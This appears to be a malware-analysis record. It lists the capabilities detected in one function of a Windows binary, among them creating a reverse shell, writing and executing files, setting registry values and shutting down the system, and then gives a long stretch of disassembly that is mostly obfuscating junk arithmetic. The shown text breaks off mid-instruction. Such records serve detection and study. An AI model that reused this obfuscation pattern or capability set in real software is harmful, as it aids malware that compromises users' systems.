Function at 0x42f700
Capabilities:
Accept command line arguments
Allocate thread local storage
Check mutex and terminate process on windows
Check mutex on windows
Clear file content
Create pipe
Create process on windows
Create reverse shell
Create thread
Delete file
Get common file path
Get file attributes
Get graphical window text
Get thread local storage value
Query environment variable
Query or enumerate registry value
Read file on windows
Read pipe
Resolve dns
Set registry value
Shutdown system
Terminate process
Terminate thread
Write and execute a file
Write file on windows
Write pipe

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1ac
mov dword [ebp - 0x48], 0x71ba
mov dword [ebp - 0x24], 0x15590
mov dword [ebp - 0xc], 0x110b5
mov dword [ebp - 0x50], 0x129b4
mov dword [ebp - 8], 0x5b80
mov dword [ebp - 0x30], 0x1213d
mov dword [ebp - 0x18], 0x1444d
mov dword [ebp - 0x38], 0x169b6
mov dword [ebp - 0x10], 0x5404
mov dword [ebp - 0x3c], 0x154a0
mov dword [ebp - 0x54], 0x9264
mov dword [ebp - 0x98], 0x12bcf
mov dword [ebp - 4], 0x19d8
mov dword [ebp - 0x58], 0x4e8f
mov dword [ebp - 0x2c], 0xcefe
mov dword [ebp - 0x34], 0xe8fc
mov dword [ebp - 0x28], 0x1bef
mov dword [ebp - 0x1c], 0x4271
mov dword [ebp - 0x20], 0x977
mov dword [ebp - 0x14], 0x3082
mov dword [ebp - 0x40], 0x7b60
call fcn.0041ca90
mov eax, dword [ebp - 0x28]
sub eax, 1
mov dword [ebp - 0x28], eax
call fcn.0041cfe0
mov ecx, dword [ebp - 0x38]
sub ecx, 0x13a6e
mov dword [ebp - 0x38], ecx
mov edx, dword [ebp - 0x1c]
add edx, dword [ebp - 0x38]
mov dword [ebp - 0x1c], edx
jmp 0x42f7d2
mov eax, dword [ebp - 0x1c]
add eax, 1
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x1c]
cmp ecx, dword [ebp - 0x48]
jge 0x42f8ba
mov edx, dword [ebp - 0x2c]
sub edx, 1
mov dword [ebp - 0x2c], edx
mov eax, dword [ebp - 0xc]
or eax, dword [ebp - 0x28]
je 0x42f82b
mov ecx, dword [ebp - 0x40]
and ecx, dword [ebp - 0x18]
je 0x42f82b
mov edx, dword [ebp - 0x50]
xor edx, dword [ebp - 0x14]
je 0x42f82b
mov eax, dword [ebp - 0x58]
cmp eax, dword [ebp - 0x98]
jge 0x42f816
mov dword [ebp - 0xac], 1
jmp 0x42f820
mov dword [ebp - 0xac], 0
mov ecx, dword [ebp - 0x30]
and ecx, dword [ebp - 0xac]
jne 0x42f854
mov edx, dword [ebp - 0x24]
cmp edx, dword [ebp - 8]
jge 0x42f83f
mov dword [ebp - 0xb0], 1
jmp 0x42f849
mov dword [ebp - 0xb0], 0
mov eax, dword [ebp - 0x34]
and eax, dword [ebp - 0xb0]
je 0x42f85d
mov ecx, dword [ebp - 0x3c]
sub ecx, 1
mov dword [ebp - 0x3c], ecx
mov edx, dword [ebp - 0x30]
sub edx, 1
mov dword [ebp - 0x30], edx
mov eax, dword [ebp - 0x30]
sub eax, 1
mov dword [ebp - 0x30], eax
mov ecx, dword [ebp - 0x30]
mov dword [ebp - 0xf0], ecx
mov edx, dword [ebp - 0x14]
mov dword [ebp - 0xf4], edx
mov eax, dword [ebp - 0x30]
sub eax, 1
mov dword [ebp - 0x30], eax
mov ecx, dword [ebp - 0xf0]
cmp ecx, dword [ebp - 0xf4]
jl 0x42f8a3
mov edx, dword [ebp - 0xc]
cmp edx, dword [ebp - 0x98]
jge 0x42f8ac
mov eax, dword [ebp - 0xc]
add eax, 1
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0x18]
sub ecx, 1
mov dword [ebp - 0x18], ecx
jmp 0x42f7c9
cmp dword [0x43827c], 0
jne 0x42f8dc
push 0xf44
call fcn.00434580
add esp, 4
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [0x43827c], eax
mov edx, dword [ebp - 0x14]
sub edx, 0x1785
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 0x14]
mov dword [ebp - 0xc], eax
jmp 0x42f8fc
mov ecx, dword [ebp - 0xc]
add ecx, 1
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 0xc]
cmp edx, dword [ebp - 0x50]
jge 0x42face
mov eax, dword [ebp - 0x10]
add eax, 1
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x34]
add ecx, 1
mov dword [ebp - 0x34], ecx
mov edx, dword [ebp - 0x20]
add edx, 1
mov dword [ebp - 0x20], edx
mov eax, dword [ebp - 0x58]
sub eax, dword [ebp - 0x24]
je 0x42f95d
mov ecx, dword [ebp - 0x20]
add ecx, 1
mov dword [ebp - 0x20], ecx
mov edx, dword [ebp - 0x20]
cmp edx, dword [ebp - 0x18]
jge 0x42f948
mov dword [ebp - 0xb4], 1
jmp 0x42f952
mov dword [ebp - 0xb4], 0
mov eax, dword [ebp - 4]
xor eax, dword [ebp - 0xb4]
jne 0x42f970
mov ecx, dword [ebp - 0x3c]
cmp ecx, dword [ebp - 0x14]
jge 0x42f994
mov edx, dword [ebp - 0x38]
and edx, dword [ebp - 8]
cmp edx, dword [ebp - 0x40]
jge 0x42f994
mov eax, dword [ebp - 0x54]
cmp eax, dword [ebp - 0x1c]
jge 0x42f980
mov ecx, dword [ebp - 0x40]
cmp ecx, dword [ebp - 0x58]
jl 0x42f98b
mov edx, dword [ebp - 0x3c]
and edx, dword [ebp - 0x20]
cmp edx, dword [ebp - 0x24]
jge 0x42f994
mov eax, dword [ebp - 0x18]
add eax, 1
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x20]
sub ecx, 1
mov dword [ebp - 0x20], ecx
mov edx, dword [ebp - 0x18]
add edx, 1
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 0x18]
xor eax, dword [ebp - 0x38]
cmp eax, dword [ebp - 0x28]
jge 0x42f9e3
mov ecx, dword [ebp - 0x10]
cmp ecx, dword [ebp - 0x54]
jge 0x42f9e3
mov edx, dword [ebp - 0x18]
cmp edx, dword [ebp - 8]
jge 0x42f9c9
mov eax, dword [ebp - 0x58]
add eax, dword [ebp - 0x24]
jne 0x42f9da
mov ecx, dword [ebp - 0x20]
add ecx, 1
mov dword [ebp - 0x20], ecx
mov edx, dword [ebp - 0x48]
cmp edx, dword [ebp - 0x20]
jge 0x42f9e3
mov eax, dword [ebp - 0x18]
sub eax, 1
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x28]
imul ecx, dword [ebp - 0x98]
cmp ecx, dword [ebp - 0x30]
jl 0x42f9fe
mov edx, dword [ebp - 4]
xor edx, dword [ebp - 0x24]
je 0x42fab7
mov eax, dword [ebp - 0x10]
and eax, dword [ebp - 0x40]
cmp eax, dword [ebp - 0x14]
jge 0x42fa11
mov ecx, dword [ebp - 0x54]
cmp ecx, dword [ebp - 0x18]
jl 0x42fa53
mov edx, dword [ebp - 0x34]
mov dword [ebp - 0xf8], edx
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0xfc], eax
mov ecx, dword [ebp - 0x2c]
sub ecx, 1
mov dword [ebp - 0x2c], ecx
mov edx, dword [ebp - 0xf8]
cmp edx, dword [ebp - 0xfc]
jl 0x42fa53
mov eax, dword [ebp - 0x3c]
or eax, dword [ebp - 0x28]
je 0x42fab7
mov ecx, dword [ebp - 0x20]
sub ecx, 1
mov dword [ebp - 0x20], ecx
mov edx, dword [ebp - 0x20]
cmp edx, dword [ebp - 8]
jge 0x42fab7
mov eax, dword [ebp - 0x54]
cmp eax, dword [ebp - 0x24]
jge 0x42fab7
mov ecx, dword [ebp - 0x28]
cmp ecx, dword [ebp - 0x3c]
jge 0x42fa6f
mov dword [ebp - 0xb8], 1
jmp 0x42fa79
mov dword [ebp - 0xb8], 0
mov edx, dword [ebp - 0x18]
sub edx, 1
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 0x18]
xor eax, dword [ebp - 0xb8]
je 0x42fab7
mov ecx, dword [ebp - 8]
cmp ecx, dword [ebp - 0x14]
jge 0x42fab7
mov edx, dword [ebp - 8]
add edx, 1
mov dword [ebp - 8], edx
mov eax, dword [ebp - 8]
cmp eax, dword [ebp - 0x10]
jge 0x42fab7
mov ecx, dword [ebp - 0x48]
cmp ecx, dword [ebp - 0x18]
jge 0x42fab7
mov edx, dword [ebp - 8]
sub edx, 1
mov dword [ebp - 8], edx
mov eax, dword [ebp - 0x48]
add eax, 1
mov dword [ebp - 0x48], eax
mov ecx, dword [ebp - 0x54]
add ecx, 1
mov dword [ebp - 0x54], ecx
jmp 0x42f8f3
mov edx, dword [ebp - 0x58]
add edx, 0xc28
mov dword [ebp - 0x58], edx
mov eax, dword [ebp - 0x2c]
add eax, dword [ebp - 0x58]
mov dword [ebp - 0x2c], eax
jmp 0x42faee
mov ecx, dword [ebp - 0x2c]
add ecx, 1
mov dword [ebp - 0x2c], ecx
mov edx, dword [ebp - 0x2c]
cmp edx, dword [ebp - 0x50]
jge 0x42fcfa
mov eax, dword [ebp - 0x10]
sub eax, 1
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp - 0x10]
jge 0x42fb6a
mov edx, dword [ebp - 0x3c]
xor edx, dword [ebp - 0x30]
cmp edx, dword [ebp - 8]
jl 0x42fb61
mov eax, dword [ebp - 0x98]
or eax, dword [ebp - 4]
jne 0x42fb61
mov ecx, dword [ebp - 0x40]
add ecx, 1
mov dword [ebp - 0x40], ecx
mov edx, dword [ebp - 0x28]
sub edx, dword [ebp - 0x40]
mov dword [ebp - 0x100], edx
mov eax, dword [ebp - 0x28]
add eax, 1
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x100], 0
jne 0x42fb61
mov ecx, dword [ebp - 0x58]
cmp ecx, dword [ebp - 0x1c]
jge 0x42fb6a
mov edx, dword [ebp - 0x20]
sub edx, 1
mov dword [ebp - 0x20], edx
mov eax, dword [ebp - 0x14]
xor eax, dword [ebp - 0x20]
je 0x42fb6a
mov ecx, dword [ebp - 0x48]
add ecx, 1
mov dword [ebp - 0x48], ecx
mov edx, dword [ebp - 0x10]
add edx, 1
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 0x3c]
sub eax, 1
mov dword [ebp - 0x3c], eax
mov ecx, dword [ebp - 8]
or ecx, dword [ebp - 0x30]
je 0x42fca9
mov edx, dword [ebp - 0x14]
add edx, dword [ebp - 0x18]
mov dword [ebp - 0x104], edx
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x108], eax
mov ecx, dword [ebp - 0x14]
add ecx, 1
mov dword [ebp - 0x14], ecx
mov edx, dword [ebp - 0x104]
cmp edx, dword [ebp - 0x108]
jge 0x42fca9
mov eax, dword [ebp - 0x38]
add eax, 1
mov dword [ebp - 0x38], eax
mov ecx, dword [ebp - 0x38]
mov dword [ebp - 0x10c], ecx
mov edx, dword [ebp - 0x28]
mov dword [ebp - 0x110], edx
mov eax, dword [ebp - 0x28]
add eax, 1
mov dword [ebp - 0x28], eax
mov ecx, dword [ebp - 0x10c]
cmp ecx, dword [ebp - 0x110]
jge 0x42fca9
mov edx, dword [ebp - 0x3c]
or edx, dword [ebp - 4]
je 0x42fca9
mov eax, dword [ebp - 0x54]
cmp eax, dword [ebp - 0x48]
jge 0x42fc0e
mov dword [ebp - 0xbc], 1
jmp 0x42fc18
mov dword [ebp - 0xbc], 0
mov ecx, dword [ebp - 0x10]
xor ecx, dword [ebp - 0xbc]
je 0x42fca9
mov edx, dword [ebp - 0x38]
cmp edx, dword [ebp - 0x18]
jge 0x42fc3b
mov dword [ebp - 0xc0], 1
jmp 0x42fc45
mov dword [ebp - 0xc0], 0
mov eax, dword [ebp - 0x54]
and eax, dword [ebp - 0xc0]
jne 0x42fc5b
mov ecx, dword [ebp - 0xc]
cmp ecx, dword [ebp - 0x98]
jge 0x42fca9
mov edx, dword [ebp - 0xc]
cmp edx, dword [ebp - 0x3c]
jge 0x42fc6b
mov eax, dword [ebp - 8]
or eax, dword [ebp - 0x30]
jne 0x42fc7f
mov ecx, dword [ebp - 0x1c]
add ecx, 1
mov dword [ebp - 0x1c], ecx
mov edx, dword [ebp - 0x24]
sub edx, dword [ebp - 0x1c]
cmp edx, dword [ebp - 0x18]
jge 0x42fca9
mov eax, dword [ebp - 0x3c]
cmp eax, dword [ebp - 0x1c]
jge 0x42fc98
mov ecx, dword [ebp - 0x48]
add ecx, 1
mov dword [ebp - 0x48], ecx
mov edx, dword [ebp - 0x40]
cmp edx, dword [ebp - 0x48]
jl 0x42fca0
mov eax, dword [ebp - 8]
cmp eax, dword [ebp - 0x20]
jge 0x42fca9
mov ecx, dword [ebp - 0xc]
add ecx, 1
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 0xc]
add edx, 1
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 0xc]
imul eax, dword [ebp - 0x3c]
cmp eax, dword [ebp - 8]
jge 0x42fcc9
mov ecx, dword [ebp - 0x34]
sub ecx, dword [ebp - 0x98]
jne 0x42fcd1
mov edx, dword [ebp - 0x48]
cmp edx, dword [ebp - 0x28]
jge 0x42fcf5
mov eax, dword [ebp - 0x30]
sub eax, dword [ebp - 0x58]
cmp eax, dword [ebp - 4]
jge 0x42fce4
mov ecx, dword [ebp - 0x34]
cmp ecx, dword [ebp - 0x18]
jl 0x42fcec
mov edx, dword [ebp - 0x40]
cmp edx, dword [ebp - 0x24]
jge 0x42fcf5
mov eax, dword [ebp - 0x30]
add eax, 1
mov dword [ebp - 0x30], eax
jmp 0x42fae5
call fcn.00404de0
mov ecx, dword [ebp - 0x48]
cmp ecx, dword [ebp - 0x98]
jl 0x42fd33
mov edx, dword [ebp - 0x24]
or edx, dword [ebp - 0x20]
mov dword [ebp - 0x114], edx
mov eax, dword [ebp - 0x20]
sub eax, 1
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x114], 0
je 0x42fda6
mov ecx, dword [ebp - 0x2c]
add ecx, dword [ebp - 0x3c]
cmp ecx, dword [ebp - 0x14]
jge 0x42fda6
mov edx, dword [ebp - 0x38]
add edx, 1
mov dword [ebp - 0x38], edx
mov eax, dword [ebp - 0x3c]
or eax, dword [ebp - 0x38]
je 0x42fda6
mov ecx, dword [ebp - 8]
cmp ecx, dword [ebp - 0x18]
jl 0x42fd6f
mov edx, dword [ebp - 0x50]
and edx, dword [ebp - 0x40]
je 0x42fda6
mov eax, dword [ebp - 0x24]
cmp eax, dword [ebp - 0x28]
jge 0x42fda6
mov ecx, dword [ebp - 0x14]
or ecx, dword [ebp - 0x2c]
je 0x42fda6
mov edx, dword [ebp - 0x38]
imul edx, dword [ebp - 0x10]
test edx, edx
je 0x42fda6
mov eax, dword [ebp - 0x38]
sub eax, dword [ebp - 0x28]
jne 0x42fd9d
mov ecx, dword [ebp - 0x3c]
cmp ecx, dword [ebp - 0xc]
jl 0x42fd9d
mov edx, dword [ebp - 0x20]
cmp edx, dword [ebp - 4]
jl 0x42fd9d
mov eax, dword [ebp - 0x54]
sub eax, dword [ebp - 0x10]
cmp eax, dword [ebp - 0x14]
jge 0x42fda6
mov ecx, dword [ebp - 0x40]
or ecx, dword [ebp - 0x18]
cmp ecx, dword [ebp - 0x1c]
jge 0x42fda6
mov edx, dword [ebp - 0x38]
sub edx, 1
mov dword [ebp - 0x38], edx
mov eax, dword [ebp - 0x1c]
add eax, 0x3eb2
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x40]
add ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x40], ecx
jmp 0x42fdc5
mov edx, dword [ebp - 0x40]
add edx, 1
mov dword [ebp - 0x40], edx
mov eax, dword [ebp - 0x40]
cmp eax, dword [ebp - 0x98]
jge 0x430265
mov ecx, dword [ebp - 8]
add ecx, dword [ebp - 0x24]
cmp ecx, dword [ebp - 0x1c]
jl 0x42fe66
mov edx, dword [ebp - 0xc]
add edx, dword [ebp - 0x54]
mov dword [ebp - 0x118], edx
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x11c], eax
mov ecx, dword [ebp - 0xc]
add ecx, 1
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 0x118]
cmp edx, dword [ebp - 0x11c]
jge 0x42fe56
mov eax, dword [ebp - 4]
cmp eax, dword [ebp - 0x3c]
jge 0x42fe23
mov dword [ebp - 0xc4], 1
jmp 0x42fe2d
mov dword [ebp - 0xc4], 0
mov ecx, dword [ebp - 0x50]
and ecx, dword [ebp - 0xc4]
je 0x42fe56
mov edx, dword [ebp - 0x58]
and edx, dword [ebp - 0x34]
mov dword [ebp - 0x120], edx
mov eax, dword [ebp - 0x34]
add eax, 1
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x120], 0
jne 0x42fe66
mov ecx, dword [ebp - 0x10]
imul ecx, dword [ebp - 0x3c]
cmp ecx, dword [ebp - 0x2c]
jge 0x42ff12
mov edx, dword [ebp - 4]
cmp edx, dword [ebp - 0x54]
jge 0x42ff12
mov eax, dword [ebp - 0x34]
cmp eax, dword [ebp - 0x28]
jge 0x42fea3
mov ecx, dword [ebp - 0x1c]
cmp ecx, dword [ebp - 0x38]
jge 0x42fe8e
mov dword [ebp - 0xc8], 1
jmp 0x42fe98
mov dword [ebp - 0xc8], 0
mov edx, dword [ebp - 0x18]
xor edx, dword [ebp - 0xc8]
jne 0x42feb6
mov eax, dword [ebp - 0x48]
cmp eax, dword [ebp - 0x20]
jge 0x42ff12
mov ecx, dword [ebp - 0x24]
or ecx, dword [ebp - 0x38]
cmp ecx, dword [ebp - 0x10]
jge 0x42ff12
mov edx, dword [ebp - 0x34]
cmp edx, dword [ebp - 0x58]
jl 0x42ff09
mov eax, dword [ebp - 0x28]
add eax, 1
mov dword [ebp - 0x28], eax
mov ecx, dword [ebp - 4]
and ecx, dword [ebp - 0x28]
je 0x42fee0
mov edx, dword [ebp - 0x50]
sub edx, 1
mov dword [ebp - 0x50], edx
mov eax, dword [ebp - 0x50]
xor eax, dword [ebp - 0x54]
jne 0x42ff09
mov ecx, dword [ebp - 0x20]
cmp ecx, dword [ebp - 0x48]
jge 0x42fef4
mov dword [ebp - 0xcc], 1
jmp 0x42fefe
mov dword [ebp - 0xcc], 0
mov edx, dword [ebp - 0x1c]
xor edx, dword [ebp - 0xcc]
je 0x42ff12
mov eax, dword [ebp - 0x1c]
add eax, 1
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x10]
add ecx, 1
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 4]
sub edx, 1
mov dword [ebp - 4], edx
mov eax, dword [ebp - 0x10]
add eax, 1
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x48]
add ecx, dword [ebp - 0xc]
cmp ecx, dword [ebp - 0x50]
jl 0x42ff71
mov edx, dword [ebp - 0x54]
add edx, 1
mov dword [ebp - 0x54], edx
mov eax, dword [ebp - 0x54]
cmp eax, dword [ebp - 0x50]
jge 0x42ff51
mov ecx, dword [ebp - 4]
and ecx, dword [ebp - 0x24]
jne 0x42ff71
mov edx, dword [ebp - 0x10]
cmp edx, dword [ebp - 0x58]
jl 0x42ff71
mov eax, dword [ebp - 0x2c]
add eax, 1
mov dword [ebp - 0x2c], eax
mov ecx, dword [ebp - 0x2c]
or ecx, dword [ebp - 0x3c]
cmp ecx, dword [ebp - 8]
jge 0x4301ab
mov edx, dword [ebp - 0x24]
cmp edx, dword [ebp - 0x34]
jge 0x42ff85
mov dword [ebp - 0xd0], 1
jmp 0x42ff8f
mov dword [ebp - 0xd0], 0
mov eax, dword [ebp - 0x38]
and eax, dword [ebp - 0xd0]
je 0x42ffb3
mov ecx, dword [ebp - 8]
cmp ecx, dword [ebp - 0xc]
jge 0x42ffb3
mov edx, dword [ebp - 0x30]
sub edx, 1
mov dword [ebp - 0x30], edx
mov eax, dword [ebp - 0x30]
sub eax, dword [ebp - 0x14]
jne 0x42ffcb
mov ecx, dword [ebp - 0x10]
add ecx, 1
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 0x18]
add edx, dword [ebp - 0x10]
cmp edx, dword [ebp - 0x3c]
jge 0x4301ab
mov eax, dword [ebp - 0x1c]
sub eax, 1
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x24]
or ecx, dword [ebp - 0x1c]
jne 0x43005b
mov edx, dword [ebp - 0xc]
mov dword [ebp - 0x124], edx
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x128], eax
mov ecx, dword [ebp - 0xc]
sub ecx, 1
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 0x124]
cmp edx, dword [ebp - 0x128]
jge 0x43002e
mov eax, dword [ebp - 0x54]
xor eax, dword [ebp - 0x48]
cmp eax, dword [ebp - 0x50]
jge 0x43002e
mov ecx, dword [ebp - 0x20]
xor ecx, dword [ebp - 0x14]
mov dword [ebp - 0x12c], ecx
mov edx, dword [ebp - 0x14]
add edx, 1
mov dword [ebp - 0x14], edx
cmp dword [ebp - 0x12c], 0
jne 0x43005b
mov eax, dword [ebp - 0x50]
mov dword [ebp - 0x130], eax
mov ecx, dword [ebp - 8]
mov dword [ebp - 0x134], ecx
mov edx, dword [ebp - 8]
add edx, 1
mov dword [ebp - 8], edx
mov eax, dword [ebp - 0x130]
cmp eax, dword [ebp - 0x134]
jge 0x4301ab
mov ecx, dword [ebp - 0x18]
xor ecx, dword [ebp - 0x2c]
jne 0x43007b
mov edx, dword [ebp - 0x24]
cmp edx, dword [ebp - 0x3c]
jge 0x4301ab
mov eax, dword [ebp - 0x14]
xor eax, dword [ebp - 0x48]
je 0x4301ab
mov ecx, dword [ebp - 0x30]
cmp ecx, dword [ebp - 0x58]
jge 0x4301ab
mov edx, dword [ebp - 0x1c]
cmp edx, dword [ebp - 0x20]
jge 0x43009b
mov dword [ebp - 0xd4], 1
jmp 0x4300a5
mov dword [ebp - 0xd4], 0
mov eax, dword [ebp - 0x54]
and eax, dword [ebp - 0xd4]
je 0x4301ab
mov ecx, dword [ebp - 0x24]
or ecx, dword [ebp - 0x30]
cmp ecx, dword [ebp - 0x3c]
jge 0x4300d0
mov edx, dword [ebp - 0x14]
sub edx, 1
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 0x14]
sub eax, dword [ebp - 0xc]
jne 0x430108
mov ecx, dword [ebp - 0x34]
sub ecx, dword [ebp - 0x54]
cmp ecx, dword [ebp - 4]
jl 0x430108
mov edx, dword [ebp - 0x38]
mov dword [ebp - 0x138], edx
mov eax, dword [ebp - 0x58]
mov dword [ebp - 0x13c], eax
mov ecx, dword [ebp - 0x38]
add ecx, 1
mov dword [ebp - 0x38], ecx
mov edx, dword [ebp - 0x138]
cmp edx, dword [ebp - 0x13c]
jge 0x4301ab
mov eax, dword [ebp - 0x48]
cmp eax, dword [ebp - 0x54]
jge 0x43011c
mov dword [ebp - 0xd8], 1
jmp 0x430126
mov dword [ebp - 0xd8], 0
mov ecx, dword [ebp - 0x14]
and ecx, dword [ebp - 0xd8]
je 0x430168
mov edx, dword [ebp - 0x34]
imul edx, dword [ebp - 0x24]
cmp edx, dword [ebp - 0x20]
jge 0x430168
mov eax, dword [ebp - 0x10]
imul eax, dword [ebp - 0xc]
mov dword [ebp - 0x140], eax
mov ecx, dword [ebp - 0x10]
sub ecx, 1
mov dword [ebp - 0x10], ecx
cmp dword [ebp - 0x140], 0
je 0x430168
mov edx, dword [ebp - 0x2c]
imul edx, dword [ebp - 0x3c]
cmp edx, dword [ebp - 0x50]
jl 0x430179
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp - 0x50]
jge 0x4301ab
mov edx, dword [ebp - 0x24]
cmp edx, dword [ebp - 0x1c]
jge 0x430189
mov eax, dword [ebp - 0x30]
cmp eax, dword [ebp - 0x48]
jl 0x43019a
mov ecx, dword [ebp - 0x18]
add ecx, 1
mov dword [ebp - 0x18], ecx
mov edx, dword [ebp - 4]
cmp edx, dword [ebp - 0x18]
jge 0x4301ab
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 4]
jge 0x4301ab
mov ecx, dword [ebp - 0x34]
add ecx, 1
mov dword [ebp - 0x34], ecx
mov edx, dword [ebp - 0x24]
cmp edx, dword [ebp - 0x50]
jge 0x4301bf
mov dword [ebp - 0xdc], 1
jmp 0x4301c9
mov dword [ebp - 0xdc], 0
mov eax, dword [ebp - 0x30]
or eax, dword [ebp - 0xdc]
mov dword [ebp - 0x144], eax
mov ecx, dword [ebp - 0x30]
add ecx, 1
mov dword [ebp - 0x30], ecx
cmp dword [ebp - 0x144], 0
jne 0x4301f2
mov edx, dword [ebp - 0x34]
cmp edx, dword [ebp - 0x3c]
jge 0x43021f
mov eax, dword [ebp - 0x50]
cmp eax, dword [ebp - 0x2c]
jl 0x43020e
mov ecx, dword [ebp - 8]
cmp ecx, dword [ebp - 0x48]
jge 0x43021f
mov edx, dword [ebp - 0x24]
imul edx, dword [ebp - 0x30]
cmp edx, dword [ebp - 0xc]
jge 0x43021f
mov eax, dword [ebp - 0x54]
cmp eax, dword [ebp - 0x10]
jge 0x43021f
mov ecx, dword [ebp - 4]
sub ecx, 1
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 0x58]
add edx, 1
mov dword [ebp - 0x58], edx
mov eax, dword [ebp - 4]
sub eax, 1
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
sub ecx, 1
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
and edx, dword [ebp - 0x34]
je 0x430257
mov eax, dword [ebp - 0x1c]
imul eax, dword [ebp - 0x18]
cmp eax, dword [ebp - 0x28]
jge 0x430257
mov ecx, dword [ebp - 0x24]
add ecx, 1
mov dword [ebp - 0x24], ecx
mov edx, dword [ebp - 4]
add edx, 1
mov dword [ebp - 4], edx
jmp 0x42fdbc
mov eax, dword [0x438290]
push eax
mov ecx, dword [0x438280]
push ecx
mov edx, dword [0x43828c]
push edx
mov eax, dword [0x438278]
push eax
mov ecx, dword [0x43827c]
push ecx
push 0xdd61
call fcn.0040acf0
add esp, 4
push eax
mov edx, dword [0x43827c]
push edx
call fcn.004311b0
add esp, 8
call eax
test eax, eax
je 0x430fdb
mov eax, dword [ebp - 0x34]
sub eax, 0x1ace
mov dword [ebp - 0x34], eax
mov ecx, dword [ebp - 8]
add ecx, dword [ebp - 0x34]
mov dword [ebp - 8], ecx
jmp 0x4302cc
mov edx, dword [ebp - 8]
add edx, 1
mov dword [ebp - 8], edx
mov eax, dword [ebp - 8]
cmp eax, dword [ebp - 0x50]
jge 0x43036a
mov ecx, dword [ebp - 0x2c]
imul ecx, dword [ebp - 0x38]
test ecx, ecx
jne 0x4302ff
mov edx, dword [ebp - 0x40]
add edx, 1
mov dword [ebp - 0x40], edx
mov eax, dword [ebp - 0x40]
sub eax, dword [ebp - 0x28]
cmp eax, dword [ebp - 0xc]
jge 0x430308
mov ecx, dword [ebp - 0x1c]
cmp ecx, dword [ebp - 0xc]
jge 0x430308
mov edx, dword [ebp - 0x1c]
sub edx, 1
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 0x1c]
sub ecx, 1
mov dword [ebp - 0x1c], ecx
mov edx, dword [ebp - 4]
add edx, 1
mov dword [ebp - 4], edx
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x148], eax
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x14c], ecx
mov edx, dword [ebp - 0x24]
add edx, 1
mov dword [ebp - 0x24], edx
mov eax, dword [ebp - 0x148]
cmp eax, dword [ebp - 0x14c]
jl 0x43035c
mov ecx, dword [ebp - 0x18]
cmp ecx, dword [ebp - 0x30]
jge 0x430365
mov edx, dword [ebp - 0x10]
cmp edx, dword [ebp - 0x28]
jge 0x430365
mov eax, dword [ebp - 0x38]
sub eax, 1
mov dword [ebp - 0x38], eax
jmp 0x4302c3
cmp dword [0x43827c], 0
je 0x430fdb
mov dword [ebp - 0x7c], 0x4a46
mov dword [ebp - 0x44], 0x170c9
mov dword [ebp - 0x78], 0xe0ea
mov dword [ebp - 0x70], 0xbeeb
mov dword [ebp - 0x8c], 0x14c0a
mov dword [ebp - 0x64], 0x13f10
mov dword [ebp - 0x68], 0x13425
mov dword [ebp - 0x94], 0xb20
mov dword [ebp - 0x88], 0x9526
mov dword [ebp - 0x6c], 0xd27
mov dword [ebp - 0x84], 0x172a7
mov dword [ebp - 0x4c], 0x14cf7
mov dword [ebp - 0x9c], 0x900
mov dword [ebp - 0xa4], 0x6a41
mov dword [ebp - 0xa8], 0x4f28
mov dword [ebp - 0x80], 0x56d6
mov dword [ebp - 0x60], 0x9b42
mov dword [ebp - 0x74], 0x18b
mov dword [ebp - 0x90], 0x1018c
mov dword [ebp - 0x5c], 0xe931
mov dword [ebp - 0xa0], 0xf2b9
mov ecx, dword [ebp - 0xa4]
cmp ecx, dword [ebp - 0xa0]
jge 0x4304c5
mov edx, dword [ebp - 0x6c]
and edx, dword [ebp - 0x5c]
jne 0x430493
mov eax, dword [ebp - 0x84]
sub eax, 1
mov dword [ebp - 0x84], eax
mov ecx, dword [ebp - 0x84]
cmp ecx, dword [ebp - 0xa8]
jge 0x430488
mov edx, dword [ebp - 0x8c]
mov dword [ebp - 0x150], edx
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x154], eax
mov ecx, dword [ebp - 0x4c]
sub ecx, 1
mov dword [ebp - 0x4c], ecx
mov edx, dword [ebp - 0x150]
cmp edx, dword [ebp - 0x154]
jl 0x430493
mov eax, dword [ebp - 0x7c]
cmp eax, dword [ebp - 0x9c]
jge 0x4304c5
mov ecx, dword [ebp - 0x88]
